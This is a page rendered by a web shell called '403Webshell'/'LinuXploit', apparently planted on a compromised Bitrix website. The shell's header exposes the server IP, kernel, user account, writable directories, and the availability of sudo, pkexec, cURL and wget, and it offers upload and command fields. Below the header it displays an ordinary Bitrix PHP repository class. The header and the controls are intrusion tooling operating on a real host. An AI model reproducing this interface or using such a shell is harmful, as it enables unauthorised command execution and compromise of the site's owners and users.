403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/Repository/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/Repository/AppRepository.php
<?php

namespace Bitrix\Rest\Repository;

use Bitrix\Main\ORM\Query\Query;
use Bitrix\Rest\AppTable;
use Bitrix\Rest\Entity\Collection\AppCollection;
use Bitrix\Rest\EO_App_Collection;
use Bitrix\Rest\EO_App_Query;

class AppRepository implements \Bitrix\Rest\Contract\Repository\AppRepository
{
	public function __construct(
		private readonly \Bitrix\Rest\Model\Mapper\App $mapper,
	)
	{}

	public function getPaidApplications(): AppCollection
	{
		$appList = $this->buildPaidAppsQuery()
			->addSelect('*')
			->fetchCollection();

		return $this->createAppCollectionFromModelArray($appList);
	}

	public function hasPaidApps(): bool
	{
		$collection = $this->buildPaidAppsQuery()
			->setSelect(['ID'])
			->setLimit(1)
			->fetch();

		return !empty($collection);
	}

	/**
	 * @return EO_App_Query
	 */
	private function buildPaidAppsQuery(): Query
	{
		return AppTable::query()
			->addFilter('!=STATUS', AppTable::STATUS_LOCAL)
			->addFilter('=ACTIVE', AppTable::ACTIVE)
			->addFilter('IS_FREE', false);
	}

	/**
	 * @param EO_App_Collection $modelCollection
	 * @return AppCollection
	 * @throws \Bitrix\Main\ArgumentException
	 */
	private function createAppCollectionFromModelArray(EO_App_Collection $modelCollection): AppCollection
	{
		$collection = new AppCollection();
		foreach ($modelCollection as $model)
		{
			$collection->add($this->mapper->mapModelToEntity($model));
		}

		return $collection;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit